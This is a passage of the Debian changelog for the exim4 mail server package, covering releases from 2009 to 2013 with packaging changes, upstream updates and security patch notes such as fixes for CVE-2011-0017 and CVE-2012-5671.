exim4-config_files.5 symlinks for local_host_whitelist and + local_sender_whitelist, add symlinks for host_local_deny_exceptions and + sender_local_deny_exceptions instead. Closes: #661365 + + -- Andreas Metzler <ametzler@debian.org> Sat, 09 Nov 2013 11:52:58 +0100 + +exim4 (4.82~rc5-1) experimental; urgency=low + + * New upstream version. + + -- Andreas Metzler <ametzler@debian.org> Sat, 26 Oct 2013 08:50:58 +0200 + +exim4 (4.82~rc3-1) experimental; urgency=low + + * New upstream version. + + TL/15 Fix exiqsumm summary for corner case. Patch provided by Richard + Hall. + + TL/16 Bugzilla 1289 - Clarify host/ip processing when have errors + looking up a hostname or reverse DNS when processing a host list. Used + suggestions from multiple comments on this bug. + + TL/17 Bugzilla 1057 - Multiple clamd TCP targets patch from Mark Zealey. + * Add macros for sending a client certificate on outgoing TLS connections. + (REMOTE_SMTP_TLS_CERTIFICATE/REMOTE_SMTP_PRIVATEKEY, + REMOTE_SMTP_SMARTHOST_TLS_CERTIFICATE/REMOTE_SMTP_SMARTHOST_PRIVATEKEY) + Closes: #677826 + + -- Andreas Metzler <ametzler@debian.org> Sat, 12 Oct 2013 09:30:28 +0200 + +exim4 (4.82~rc2-1) experimental; urgency=low + + * exim-gencert: Generate 2048bit key by default. LP: #1200581 + * New upstream version. + + Drop 80_addmanuallybuiltdocs.diff + + -- Andreas Metzler <ametzler@debian.org> Thu, 03 Oct 2013 19:24:59 +0200 + +exim4 (4.82~rc1-1) experimental; urgency=low + + * New upstream version. + + TL/02 Add +smtp_confirmation as a default logging option. + Closes: #649600 + + JH/05 Permit multiple router/transport headers_add/remove lines. + Closes: #276126 + + See /usr/share/doc/exim4-base/NewStuff.gz for other newly added + features. + * Upload to experimental. + * Drop unnecessary patches (30_dontoverridecflags.dpatch + 75_openssl_sni.diff 76_tls_dh_min_bits.diff 77_docsfortls_dh_min_bits.diff + 78_pkcs11_init.diff 84_CVE-2012-5671.patch 85_server_set_id_SPA.diff + 86_Dovecot-robustness.diff 87_localinjected_mimeacl.diff), unfuzz patches. + * Applying upstream's default configuration updates to Debian configuration + change 30_exim4-config_examples to use tls_in_cipher/tls_out_cipher + instead of tls_out_cipher. - exim4-config therefore Breaks + exim daemon << 4.82~rc1. + * 80_addmanuallybuiltdocs.diff: Upstream rc tarball ships empty filter.txt + and spec.txt, replace these with correct handbuilt versions. + + -- Andreas Metzler <ametzler@debian.org> Sun, 29 Sep 2013 14:43:25 +0200 + +exim4 (4.80-9) unstable; urgency=low + + * Upload to unstable. + + -- Andreas Metzler <ametzler@debian.org> Sat, 14 Sep 2013 08:05:18 +0200 + +exim4 (4.80-8) experimental; urgency=low + + * Import updated watchfile by Bart Martens. (Handles more compression types + and x.y.revision versioning.) + * In initscript invoke pidofproc with a pathname argument as it is + documented in LSB and required by lsb-base (>= 4.1+Debian9). + Closes: #693696, #718871 + * Improve exim4-config_files.5 and README.Debian - Warn about unresolvable + items in host lists. Closes: #627988 + * Drop support for "/etc/init.d/exim4 what". It offers zero benefit to + invoking exiwhat directly and throws an error mesage, too. (Thanks Regid + Ichira for the diagnosis.) Closes: #643720 + * Set "host_find_failed = ignore" (instead of defer) on smarthost and + hub_user_smarthost router. Now if one (of the possibly multiple) listed + smarthosts is not resolvable (NXDOMAIN) ignores it and and tries the next + listed one. If all listed hosts are unresolvable the mail is still + defered, since host_all_ignored is set to defer by default. Therefore the + behavior does not change for single-smarthost systems. Closes: #658878 + * Remove obsolete conffile /etc/cron.monthly/exim4-base which was only + shipped in 4.69-3. Closes: #689334 + * Update exim_db.8, syncing against spec.txt from exim 4.80. + * 87_localinjected_mimeacl.diff from upstream GIT. When injecting a message + locally in non-SMTP mode, and with MIME ACLs configured, if the ACL + rejected the message, Exim would try to `fprintf(NULL, "%s", + the_message)`. This fixes that. + * [lintian] Escape some dashes in exim4-config_files.5. + * Point vcs-* to anonscm. + * Remove pidfile after stopping the daemon, exim does not remove it itself. + Closes: #702988 + * eu.po: Fix last reference to /usr/share/doc/exim4-base/README.Debian + (without either .html or .gz suffix). Closes: #394975 + * Merge autopkgtests from Ubuntu (Thanks Yolanda Robla for the pointer) + Closes: #710018 + + tests/CVE-2010-4344.py is GPLv2 - Add license header. + + tests/daemon and tests/security do not use bashisms, change shebang + to /bin/sh. + * Upload to experimental, due to perl transition. + + -- Andreas Metzler <ametzler@debian.org> Sun, 01 Sep 2013 15:58:49 +0200 + +exim4 (4.80-7) unstable; urgency=low + + * Use exim's ${quote:xxx} operator when invoking spfquery to disallow + bypassing of SPF validation by using special mailbox names. (Thanks to + Lekensteyn for diagnosis and testing.) Closes: #697057 + + -- Andreas Metzler <ametzler@debian.org> Wed, 02 Jan 2013 19:37:21 +0100 + +exim4 (4.80-6) unstable; urgency=low + + * Cherrypick two changes from GIT: + + 85_server_set_id_SPA.diff: server_set_id was not stored in + $authenticated_id when using SPA authentication. + http://article.gmane.org/gmane.mail.exim.user/92181 + + 86_Dovecot-robustness.diff: robustness fixes for the Dovecot + authenticator. + + -- Andreas Metzler <ametzler@debian.org> Wed, 21 Nov 2012 19:08:53 +0100 + +exim4 (4.80-5.1) unstable; urgency=high + + * Non-maintainer upload by the Security Team. + * CVE-2012-5671: Fix heap-based buffer overflow in DKIM handling. + + -- Nico Golde <nion@debian.org> Thu, 25 Oct 2012 20:11:11 +0200 + +exim4 (4.80-5) unstable; urgency=low + + * Fix grammar error in debian/manpages/exim4-config_files.5. (Thanks, + Regid Ichira) + * Fix hardening support. (Thanks, Simon Ruderich) + + Append $(CPPFLAGS) to CFLAGS, the exim buildsystem does not use it. + + Set LFLAGS += $(LDFLAGS) in debian/rules. + Closes: #687645 + * Correct typo in Russian debconf translation. (Thanks, Krasu) + Closes: #683385 + * Point Vcs-* to git repository. + + -- Andreas Metzler <ametzler@debian.org> Sun, 23 Sep 2012 12:20:16 +0200 + +exim4 (4.80-4) unstable; urgency=low + + * Disable autoloading of PKCS#11 modules. Closes: #678238 + + -- Andreas Metzler <ametzler@debian.org> Sat, 23 Jun 2012 18:35:03 +0200 + +exim4 (4.80-3) unstable; urgency=low + + * Pull 75_openssl_sni.diff from upstream. - Segfault caused by NULL + dereference if Exim is built using OpenSSL, tls_sni is used and a + forced expansion failure is configured. + * Pull 76_tls_dh_min_bits.diff (and the corresponding doc change + 77_docsfortls_dh_min_bits.diff) from upstream. Adds a new SMTP transport + option tls_dh_min_bits for setting the minimal size of DH parameters. + * Add macro TLS_DH_MIN_BITS for setting the tls_dh_min_bits smtp transport + option. Closes: #676563 + * [lintian] Stop shipping empty directory /usr/share/exim4 in exim4-base. + + -- Andreas Metzler <ametzler@debian.org> Fri, 08 Jun 2012 12:37:05 +0200 + +exim4 (4.80-2) unstable; urgency=low + + * [Brown paper bag] actually target unstable in changelog. + + -- Andreas Metzler <ametzler@debian.org> Sun, 03 Jun 2012 17:24:05 +0200 + +exim4 (4.80-1) experimental; urgency=low + + * New upstream version, identical to rc7. + * Add a missing piece of documentation to update-exim4.conf.8. DCreadhost + is not only used for rewriting, in satellite setup it is also + the host where local mail is delivered to. (Thanks, Regid Ichira). + Closes: #675712 + + -- Andreas Metzler <ametzler@debian.org> Sun, 03 Jun 2012 16:49:51 +0200 + +exim4 (4.80~rc7-1) experimental; urgency=low + + * New upstream version. + * Let debian/EDITME.openssl.exim4-light.diff apply again. + + -- Andreas Metzler <ametzler@debian.org> Tue, 29 May 2012 19:33:07 +0200 + +exim4 (4.80~rc6-1) experimental; urgency=low + + * Ship newly available GnuTLS-FAQ.txt in exim4-base. + * Upstream's handling of GnuTLS DH parameters has changed, hardcoded + parameters (from RFCs are used by default. See + /usr/share/doc/exim4-base/README.UPDATING* for details. Stop shipping + /usr/share/exim4/exim4_refresh_gnutls-params /usr/share/exim4/timeout.pl + and /var/spool/exim4/gnutls-params-2236. + + -- Andreas Metzler <ametzler@debian.org> Sun, 27 May 2012 18:46:48 +0200 + +exim4 (4.80~rc5-1) experimental; urgency=low + + * New upstream version. + + -- Andreas Metzler <ametzler@debian.org> Thu, 24 May 2012 20:20:24 +0200 + +exim4 (4.80~rc4-1) experimental; urgency=low + + * New upstream version. + + Unfuzz 50_localscan_dlopen.dpatch + + Drop 80_revert_stringformatprintf.diff, superseded upstream. + + Default DH param size switched to 2236 for NSS compat. Update + generation script and shipped parameters. + + -- Andreas Metzler <ametzler@debian.org> Mon, 21 May 2012 20:00:18 +0200 + +exim4 (4.80~rc2-1) experimental; urgency=low + + * Fix typo in retry/30_exim4-config (s/frequenzy/frequency/) (Thanks, Regid + Ichira). Closes: #646338 + * dpkg-buildflags supersedes hardening-wrapper. set + DEB_BUILD_MAINT_OPTIONS := hardening=+bindnow,+pie to use features enabled + by hardening-wrapper by default. Make sure to always set -Wall. + * List mapppings between debconf choices ("mail sent by smarthost; no local + mail" et al.) and corresponding values of the DC_eximconfig_configtype + macro in update-exim4.conf(8). Closes: #651883 + * README.Debian.*: Correct documentation of the lowuid_aliases router. - The + macro is named FIRST_USER_ACCOUNT_UID instead of FIRST_USER_UID. (Thanks, + Yubao Liu) Closes: #653058 + * add more verbose help to /etc/default/exim4. Closes: #653272 + * Updated French debconf templates translation. (thanks for proofreading, + debian-l10n-french!) Closes: #668475 + * Fix typo usualy in update-exim4.conf.8. + * Add source lintian override (debian/source/lintian-overrides) for + binaries-have-file-conflict exim4-daemon-heavy-dbg exim4-daemon-light-dbg. + *-daemon-dbg depends on the respective -daemon, and the daemon-packages + conflict with each other. + * New upstream version: + + Unfuzz patches + + Update 66_enlarge-dh-parameters-size.dpatch. This is now a noop if built + against gnutls >= 2.12. + + Default DH param size is 2432, update generation script and shipped + parameters. + + Unfuzz/update */EDITME/*. Update debian/example.conf.md5. + + 80_revert_stringformatprintf.diff. Do not mark string_format() as + PRINTF_FUNCTION(3,4) to allow compilation with -Wformat + -Werror=format-security + + Sets accept_8bitmime = true by default. Closes: #445013 + + Uses GnuTLS priority string for configuration. (See NEWS.Debian) + Closes: #624041 + + -- Andreas Metzler <ametzler@debian.org> Sun, 20 May 2012 15:57:15 +0200 + +exim4 (4.77-1) unstable; urgency=low + + * Fix typo in exim4-config_files.5. (Thanks, Regid Ichira) Closes: #645283 + * New upstream stable release. (No major changes compared to rc4) + * Upload to unstable. + + -- Andreas Metzler <ametzler@debian.org> Sat, 22 Oct 2011 18:00:11 +0200 + +exim4 (4.77~rc4-1) experimental; urgency=low + + * New upstream release candidate. + + drop patches included in this release. + (80_gnutls_certificate_verify_peers2.diff 80_gnutls_initrc.diff + 80_TLS1.2-and-TLS1.1-support.diff) + + New expansion conditions, "inlist", "inlisti". + + Exim no longer performs string expansion on the second string of + the match_* expansion conditions: "match_address", "match_domain", + "match_ip" & "match_local_part". Named lists can still be used. The + previous behavior made it too easy to create (remotely) vulnerable + configurations. A more detailed rationale and explanation can be found + on + https://lists.exim.org/lurker/message/20111003.122326.fbcf32b7.en.html + + doc/pcrepattern.txt is not shipped anymore as part of the exim tarball + (and therefore the Debian package suite.) + * Make use of /usr/share/dpkg/buildflags.mk if available. + * Change build system to build each binary variant in a separate copy of + the source tree instead of re-using the copy and moving away the results + after build. The old approach stopped working since upstream added a + dependency on make all to make install. - As we were changing parts of + tree (Local/Makefile) after the build this caused an (incorrect) rebuild + on make install. + + -- Andreas Metzler <ametzler@debian.org> Sat, 08 Oct 2011 13:07:35 +0200 + +exim4 (4.76-4) experimental; urgency=low + + * 80_TLS1.2-and-TLS1.1-support.diff (pulled from upstream GIT gnutls_fixes + branch): Enable TLS1.2 and TLS1.1 + * 80_gnutls_certificate_verify_peers2.diff, 80_gnutls_initrc.diff (pulled + from upstream GIT gnutls_fixes branch): Use + gnutls_certificate_verify_peers2() instead of + gnutls_certificate_verify_peers(). The deprecated function was dropped in + GnuTLS 3.x. Closes: #624082 + + -- Andreas Metzler <ametzler@debian.org> Sat, 24 Sep 2011 18:36:08 +0200 + +exim4 (4.76-3) unstable; urgency=low + + * [exim4-base.cron.daily] Correct invocation of mail(1), options need to be + specified before arguments for compatibility with heirloom-mailx (Thanks, + Andreas Schiweck). Closes: #629314 + * [exim4-base.exim4.init] Use echo instead of log_failure_msg for the panic + log warning. Closes: #629610 + * [exim4-base.postinst] Also take care of ratelimit db on bdbd upgrades. + Closes: #630985 + * Update Debian exim webpage URL. Closes: #641126 + * Do not run upgrade test for 4.67-5 on exim4.conf.template if split config + is used and vice versa. Closes: #577633 + * [lintian] Do not specify priority in binary package stanzas, unless it + deviates from the source package priority setting. + * [lintian] Drop unused lintian override binary-without-manpage + usr/sbin/exim. + * [lintian] Improve on short descriptions of *-dbg packages. + + -- Andreas Metzler <ametzler@debian.org> Sun, 18 Sep 2011 11:49:13 +0200 + +exim4 (4.76-2) unstable; urgency=low + + * debian/rules: Remove test/ and test-stamp on clean. + * Handle BerkeleyDB upgrades more gracefully. Instead of checking Debian + version numbers compare DB-version of old exim (stored by postinst in + /var/lib/exim4/berkeleydbvers.txt) with currently used DB-version + (hardcoded at build time in exim4-base.postinst). + * [exim4-base.postinst exim4-config.postinst] Do away with unnecessary + chowns by dropping them or limiting to upgrades from 4.30. + + -- Andreas Metzler <ametzler@debian.org> Sun, 29 May 2011 18:21:03 +0200 + +exim4 (4.76-1) unstable; urgency=low + + * New upstream version. + * Drop 80_match_isinlist.diff (included upstream). + + -- Andreas Metzler <ametzler@debian.org> Mon, 09 May 2011 19:12:09 +0200 + +exim4 (4.76~RC1-3) experimental; urgency=low + + * 80_match_isinlist.diff pulled from upstream git. + + -- Andreas Metzler <ametzler@debian.org> Sun, 08 May 2011 14:44:20 +0200 + +exim4 (4.76~RC1-2) experimental; urgency=low + + * Fix testsuite error. + * Disable verification of DKIM signatures if DC_minimaldns or the (newly + added) DISABLE_DKIM_VERIFY macro are set. Closes: #609764 + * [lintian] Drop useless comments from debian/watch. + + -- Andreas Metzler <ametzler@debian.org> Sun, 08 May 2011 08:58:24 +0200 + +exim4 (4.76~RC1-1) experimental; urgency=low + + * New upstream version. + * Drop superfluous patches. 80_ldap_require_cert-work.diff + 81_negatebool.diff 82_dkimpercent.diff + * [Lintian] Fix grammar error in manpage (spelling-error-in-manpage + update-exim4defaults.8.gz allows to allows one to). + * [debian/minimaltest]: Added. Try to run a minimal functionality test after + building exim. (Currently only supported if the build-system has a + Debian-exim user.) + + -- Andreas Metzler <ametzler@debian.org> Fri, 06 May 2011 20:27:56 +0200 + +exim4 (4.75-3) unstable; urgency=high + + * [debian/rules] Fix dependencies and targets, speeding up package build. + Previously everything was compiled twice. + * Patches pulled from upstream git: + +81_negatebool.diff Negating the $bool expansion condition did not work. + +82_dkimpercent.diff dkim sig logged to paniclog. Closes: #624670 + (CVE-2011-1764) + + -- Andreas Metzler <ametzler@debian.org> Fri, 06 May 2011 20:08:51 +0200 + +exim4 (4.75-2) unstable; urgency=low + + * clamav socket on Debian is clamd:/var/run/clamav/clamd.ctl, fix + configuration example accordingly. (Thanks, Roman V. Nikolaev) + Closes: #622111 + * Use on libdb5.1-dev (instead of 4.8), zap hints db on upgrade from <= + 4.75-1. Closes: #621388 + * Enable hardening options. (Last difference to Ubuntu except for not being + the default-mta there.) Closes: #542726 + + -- Andreas Metzler <ametzler@debian.org> Sat, 16 Apr 2011 14:45:36 +0200 + +exim4 (4.75-1) unstable; urgency=low + + * New upstream version. + * 80_ldap_require_cert-work.diff Pulled from upstream git. The new + ldap_require_cert option would segfault if used. + + -- Andreas Metzler <ametzler@debian.org> Mon, 28 Mar 2011 19:24:55 +0200 + +exim4 (4.75~rc3-1) experimental; urgency=low + + * New upstream version. + + -- Andreas Metzler <ametzler@debian.org> Thu, 03 Mar 2011 19:10:06 +0100 + +exim4 (4.75~rc2-1) experimental; urgency=low + + * New upstream version. + + Fixes exiqgrep "Line mismatch" error on messages without size info. + Closes: #528625 + + Restore default SIGPIPE handler for child_open_uid. Closes: #573779 + * Enable verbose compilation. + + -- Andreas Metzler <ametzler@debian.org> Sun, 27 Feb 2011 11:59:45 +0100 + +exim4 (4.74-2) unstable; urgency=low + + * Upload to unstable. + + -- Andreas Metzler <ametzler@debian.org> Thu, 24 Feb 2011 19:02:07 +0100 + +exim4 (4.74-1) experimental; urgency=low + + * 4.74 release, should build on hurd again. + * Fix some lintian --pedantic issues: copyright-refers-to-symlink-license + maintainer-script-without-set-e debian-control-has-unusual-field-spacing + + -- Andreas Metzler <ametzler@debian.org> Sat, 29 Jan 2011 15:39:51 +0100 + +exim4 (4.74~rc2-1) experimental; urgency=low + + * In spf example use spf-tools-perl's spfquery instead of the one from + libmail-spf-query-perl. Do not try to use unimplemented best-guess + support. Update Suggests accordingly. Closes: #608336 + * Add headers in ACL by using the add_header modifier instead of "message". + (This modifier has been available since 4.61.) Closes: #609308 + * New upstream version. + + includes the fix for CVE-2011-0017 + + If a non-debug daemon was invoked with a non-whitelisted macro, then + logs from after attempting delivery would be silently lost, including + for successful delivery. This log-loss bug was introduced in 4.73 + as part of the security lockdown. Closes: #610611 + + Update some patches. + + -- Andreas Metzler <ametzler@debian.org> Sun, 23 Jan 2011 14:02:36 +0100 + +exim4 (4.73~rc1-1) experimental; urgency=low + + * New upstream release candidate. + * Drop included patches. 80_4.73rc1_*, 40_dkimnotinpaniclog.diff. + * Update 31_eximmanpage.dpatch. + * exim4 now uses INSTREAM (added in clamav 0.95) instead of STREAM when + talking to clamav. exim4-daemon-heavy therefore Breaks: clamav-daemon + (<< 0.95). + * Unfuzz EDITME*diff. + * Dependency changes: + + Drop exim4-config's conflicts with bash (<< 2.05). This was relevant + pre-sarge. + + Drop exim4-daemon-* dependency on exim4-base (>> 4.71-2). This one is + superfluous because of of the dependency on + exim4-base (>= ${Upstream-Version}). + + exim4-config breaks instead of conflicts with pre-DKIM (i.e. << 4.69.1) + exim4-daemon. + + exim4-base breaks instead of conflicts with <<${Upstream-Version} daemon + packages. + * Add Vcs-Svn and Vcs-Browser fields to debian/control. + * Build depend on libmysqlclient-dev | libmysqlclient15-dev instead of + libmysqlclient15-dev. libmysqlclient-dev is not a virtual package + anymore. Closes: #590218 + * Use db_settitle unconditionally, even etch supports this. Drop unneeded + lintian override exim4-config: settitle-requires-versioned-depends. + + -- Andreas Metzler <ametzler@debian.org> Mon, 27 Dec 2010 19:48:19 +0100 + +exim4 (4.72-6) unstable; urgency=high + + * 80_4.74_filtertesting.diff: Do not abort when setgid fails if privileges + were dropped. This fixes a regression from 4.72-2, it was not possible to + test filter files with exim4 -bf anymore. Closes: #611572 + + -- Andreas Metzler <ametzler@debian.org> Mon, 31 Jan 2011 19:05:48 +0100 + +exim4 (4.72-5) unstable; urgency=medium + + * 80_4.74_deliverylogging.patch (Pulled from upstream git): If a non-debug + daemon was invoked with a non-whitelisted macro, then logs from after + attempting delivery would be silently lost, including for successful + delivery. This log-loss bug was introduced as part of the security + lockdown for fixing CVE-2010-4345. Closes: #610611 + + -- Andreas Metzler <ametzler@debian.org> Sat, 29 Jan 2011 14:33:36 +0100 + +exim4 (4.72-4) unstable; urgency=medium + + * In spf example use spf-tools-perl's spfquery instead of the one from + libmail-spf-query-perl. Do not try to use unimplemented best-guess + support. Update Suggests accordingly. Closes: #608336 + * 80_4.74_CVE-2011-0017.patch (Pulled from upstream git): Check return + values of setgid/setuid. This is a privilege escalation vulnerability + whereby the Exim run-time user can cause root to append content of the + attacker's choosing to arbitrary files. + + -- Andreas Metzler <ametzler@debian.org> Sat, 22 Jan 2011 17:48:19 +0100 + +exim4 (4.72-3) unstable; urgency=low + + * [README.Debian*] Correct command for manual paniclog rotation. (Thanks, + Jörg Sommer) Closes: #602188 + * 67_unnecessaryCopt.diff: Do not use exim's -C option in utility scripts. + This would not work with ALT_CONFIG_PREFIX. + * Pull changes related to fixing CVE-2010-4345 from exim 4.73 rc1. + Closes: #606527 + + 1_cfile_norw_eximuid: Don't allow a configure file which is writeable by + the Exim user or group. + + 2_permcheck_configurefile: Check configure file permissions even for + non-default files if still privileged. + + 3_remove_ALT_CONFIG_ROOT_ONLY: Remove ALT_CONFIG_ROOT_ONLY build option, + effectively making it always true. + + 4_FD_CLOEXEC: Set FD_CLOEXEC on SMTP sockets after forking in the + daemon, to ensure that rogue child processes cannot use them. + + 5_TRUSTED_CONFIG_LIST: Add TRUSTED_CONFIG_LIST compile option. + + 6_nonroot_system_filter_user: If the system filter needs to be run as + root, let that be explicitly configured. The default is now the Exim + run-time user. + + 7_filter_D_option: Add a (compiletime) whitelist of acceptable values + for the -D option. + + 8_updatedocumentation: Update documentation to reflect the changes. + * Build with WHITELIST_D_MACROS=OUTGOING. Post patch 7_filter_D_option exim + will not regain root privileges (usually necessary for local delivery) if + the -D option was used. Macro identifiers listed in WHITELIST_D_MACROS are + exempted from this restriction. mailscanner (4.79.11-2.2) uses -DOUTGOING. + * Build with TRUSTED_CONFIG_LIST=/etc/exim4/trusted_configs. Post patch + 3_remove_ALT_CONFIG_ROOT_ONLY exim will not re-gain root privileges + (usually necessary for local delivery) if the -C option was used. This + makes it impossible to start a fully functional damon with an alternate + configuration file. /etc/exim4/trusted_configs (can) contain a list of + filenames (one per line, full path given) to which this restriction does + not apply. + + -- Andreas Metzler <ametzler@debian.org> Sun, 26 Dec 2010 15:13:08 +0100 + +exim4 (4.72-2) unstable; urgency=low + + [ Marc Haber ] + * Apply patch to russian (ru) debconf template, thanks to Тим + ÐлекÑеевÑкий and Tim Alexeevsky. Closes: #576202 + * fix exim4-config_files man page, mention + {host|sender}_local_deny_exceptions instead of + local_{host|sender}_whitelist. Thanks to Fabien André in #578176 + * add !acl = acl_local_deny_exceptions to defer stanzas in SPF code. + Thanks to Fabien André. Closes: #578176 + * Re-work config.autogenerated header to more exactly reflect + configuration source. (mh) Closes: #593984 + + [ Andreas Metzler ] + * Fix getopt invocation to make update-exim4.conf.template -o work. (Thank + you Matthew W. S. Bell) Closes: #590333 + * 40_dkimnotinpaniclog.diff pulled from upstream git. Stop logging + non-critical DKIM errors in paniclog. Closes: #567876 + * Debconf translations: + - Danish. Closes: #592792 + + -- Andreas Metzler <ametzler@debian.org> Sat, 30 Oct 2010 13:38:26 +0200 + +exim4 (4.72-1) unstable; urgency=low + + * New upstream release. (Identical to the git snapshot previously + uploaded to experimental.) + + -- Andreas Metzler <ametzler@debian.org> Thu, 03 Jun 2010 17:42:52 +0200 + +exim4 (4.72~20100529-1) experimental; urgency=low + + * Git snapshot 20100529. + + Fix documentation for exipick -bpra. #574778 + + CVE-2010-2024: Protect against symlink attacks on MBX lockfile in /tmp. + (Debian's default configuration does not use MBX format, but the + exim4-daemon-heavy binary supports MBX.) + + CVE-2010-2023 Prevent hardlink attack on mbox sticky mail directory. + (Probably not relevant for Debian systems at all, since the mail spool + is 2775 root:mail.) + + Dovecot authenticator ignores unknown keywords, making it compatible + with version 1.1 of Dovecot authentication protocol. (= dovecot 2.0). + See Changelog for complete list. + * Drop patches included upstream: 36_typoinexipick.diff + 20_PDKIM-Upgrade-PolarSSL.diff. + + -- Andreas Metzler <ametzler@debian.org> Sun, 30 May 2010 14:01:52 +0200 + +exim4 (4.71-4) unstable; urgency=low + + * Drop unneeded lintian overrides. + + description-contains-homepage + + debian/source.lintian-overrides dbg-package-missing-depends exim4-dbg. + + partially-translated-question + + maintainer-script-needs-depends-on-update-inetd + + possible-bashism-in-maintainer-script + + binary-without-manpage + + possible-debconf-note-abuse + + changelog-not-compressed-with-max-compression + * Lintian informational hints: + + hyphen-used-as-minus-sign. debian/manpages/exim4-config_files.5 + debian/manpages/update-exim4.conf.8 debian/manpages/exiwhat.8 + * Use dh_lintian. + * Fix sourcing of lsb-functions in init-script. Test for existence of + /usr/lib/exim4/exim4 first. Unconditionally read /lib/lsb/init-functions. + If they are not present the package's dependencies are not installed. + Bump dependency on lsb-base to 3.0-6. (log_action_*) + * Update reference to spec.txt in README.Debian. Closes: #568051 + * Invoke spfquery as spfquery.mail-spf-query-perl. There are three different + implementations of spfquery in Debian, with incompatible commandline + switches and different exit codes. Closes: #573956 + + -- Andreas Metzler <ametzler@debian.org> Thu, 25 Mar 2010 17:34:30 +0100 + +exim4 (4.71-3) unstable; urgency=low + + * exim4-base.cron.daily: Do not run exim_tidydb on Berkeley DB logfiles. + Closes: #501892 + * exim4-base.postinst: If exim_dumpdb fails to read a hints-db also remove + Berkeley DB logfiles. + * Switch to Berkeley DB 4.8 (from 4.6). Zap hints db on upgrade. Temporarily + make -daemon packages depend on exim4-base >> 4.71-2. (This can be removed + after the next upstream release.) + Closes: #548479 + * control: Drop bzip2 from Build-Depends. Use line-wrapping for + Build-Depends. + * 36_typoinexipick.diff: Fix a typo in exipick manpage. (Lintian). + * exim4-base.postinst: Redirect status message to stderr. + + -- Andreas Metzler <ametzler@debian.org> Fri, 01 Jan 2010 13:41:44 +0100 + +exim4 (4.71-2) unstable; urgency=low + + * Pulled from upstream: 20_PDKIM-Upgrade-PolarSSL.diff. Update files copied + from PolarSSL to 0.12.1. + * Add example file to set smarthost from /etc/network/interfaces (mh) + * Add DKIM_* macros on remote smtp transports for setting the corresponding + dkim_* options. + * Upload to unstable. + + -- Andreas Metzler <ametzler@debian.org> Sat, 12 Dec 2009 13:24:21 +0100 + +exim4 (4.71-1) experimental; urgency=low + + * New upstream version. + + Drop patches included upstream. 51_dkimrelatedcrash.diff + 51_noreject_unsigned.diff. + + -- Andreas Metzler <ametzler@debian.org> Sat, 28 Nov 2009 12:03:50 +0100 + +exim4 (4.70-2) experimental; urgency=low + + * 51_noreject_unsigned.diff Fix a dkim related expansion error that appears + when the expanded value of dkim_verify_signers winds up empty and + acl_smtp_dkim is defined. (This has the effect of rejecting any mail + without DKIM signature.) + * Work around 490937 by removing CHANGES. + + -- Andreas Metzler <ametzler@debian.org> Sat, 21 Nov 2009 10:15:41 +0100 + +exim4 (4.70-1) experimental; urgency=low + + * Point watchfile to ftp.exim.org. + * Use dpkg-source v3 instead of dpatch, simplifying debian/rules a little + bit. + * New upstream version. + + Pull 51_dkimrelatedcrash.diff fixing a segfault only applying to the + 4.7x series. http://bugs.exim.org/show_bug.cgi?id=912 + * debhelper v7 mode. + + Use -XCHANGES to Keep dh_installchangelogs v7 from insisting to install + ./CHANGES as upstream changelog. + + Bump build-dependency. + + Use dh_prep instead of dh_clean -k. + + -- Andreas Metzler <ametzler@debian.org> Sun, 15 Nov 2009 13:10:32 +0100 + +exim4 (4.70~rc4-1) experimental; urgency=low + + * New upstream version. + + -- Andreas Metzler <ametzler@debian.org> Wed, 11 Nov 2009 19:04:35 +0100 + +exim4 (4.70~cvs+20091030-1) experimental; urgency=low + + * New upstream snapshot. + + -- Andreas Metzler <ametzler@debian.org> Sat, 31 Oct 2009 10:08:55 +0100 + +exim4 (4.70~cvs+20091026-1) experimental; urgency=low + + * New snapshot. + + Fixes segfault in dovecot authenticator. Closes: #551106 + + Improved documentation regarding certifacte verification on outgoing + SMTP connections. Closes: #544472 + * Drop 40_boolean_redefine_protect.dpatch - included upstream. + * Drop unapplied superfluous patches from diff: 36_pcre 37_exiwhatpsmisc. + + -- Andreas Metzler <ametzler@debian.org> Mon, 26 Oct 2009 16:09:32 +0100 + +exim4 (4.70~cvs+20091017-1) experimental; urgency=low + + * Fix syntax errors in README.Debian.xml. (Thank's, Daniel Leidert) + * New upstream cvs snapshot. + + Drop unnecessary patches: 36_pcre 37_exiwhatpsmisc. + + Close dovecot socket after wrong password was given. Closes: #515503 + + Standalone DKIM support. Obsoletes and therefore + Closes: #486437,#459883 + * Drop upstream URL from package descriptions. Closes: #471425 + * [patches/00_unpack.dpatch] Drop workaround for tar 1.14, even oldstable + has 1.16. Closes: #486436. + * Do not set 'tls_try_verify_hosts = *' by default anymore. Some clients + (e.g Outlook) will terminate the SSL connection when the server presents + the long list of accepted TLS certificates after STARTTLS. If TLS + certificate validation of clients is needed you'll need to set + MAIN_TLS_TRY_VERIFY_HOSTS again and point MAIN_TLS_VERIFY_CERTIFICATES to + a file containing only the accepted certificates. + Closes: #515999, #316522, #482012 + * Add debian/README.source. (Policy 3.8.3) + * Fix typo in update-exim4.conf.8. + Thanks to Calum Mackay. Closes: #543354 + * Listen on IPv6 loopback interface by default. (Only applies to fresh + installations.) Closes: #544292 + * upstream default configure file explicitly disables dkim in some + instances. Merge into Debian config and update debian/example.conf.md5. + Bump Conflicts of exim4-config package. + + -- Andreas Metzler <ametzler@debian.org> Sat, 17 Oct 2009 14:26:54 +0200 + +exim4 (4.69-11) unstable; urgency=medium + + * Build-Depend on lynx-cur|lynx instead of lynx. (lynx is just a dummy + package currently, and due its strict dependencies uninstallable until + the most recent version of lynx-cur has been built.) + * Work around sed's improved unicode support, not accepting latin1 + characters as pattern delimiters in UTF-8 locales anymore. Closes: #527445 + + [update-exim4.conf] Go for / as separator instead. - This might have + served a purpose in earlier releases with free-form replacements but is + just overcomplicated now. + + [update-exim4defaults]: The tricky bits for exim options are the + ones that take a filename as argument (e.g. -C and -oX) or -D for + overriding macros. Use LC_CTYPE=C. + + [exim4-config.config] The sed commands deals with (lists of) hostnames + and IP(v6) addresses and nets. Use LC_CTYPE=C. + + -- Andreas Metzler <ametzler@debian.org> Sun, 10 May 2009 10:15:34 +0200 + +exim4 (4.69-10) unstable; urgency=low + + [ Andreas Metzler ] + * Use macro CONFDIR in lowuid_aliases router, too. Closes: #507124 + * Disable shell filename expansion in update-exim4.conf using set -f. + Closes: #515668 + * Stop using set -u in update-exim4.conf. With version 4.0 bash changed its + behavior to throw an error on expansion of $* or $@ with set -u if no + positional parameters were given. Working around this is obnoxious and + harms readability, imho doing away with set -u's benefits. Closes: #518752 + * Allow setting outgoing smtp helo/ehlo by setting + REMOTE_SMTP_HELO_DATA macro directly. Previously this was just supposed + to be used as a helper macro for REMOTE_SMTP_HELO_FROM_DNS. + REMOTE_SMTP_HELO_FROM_DNS 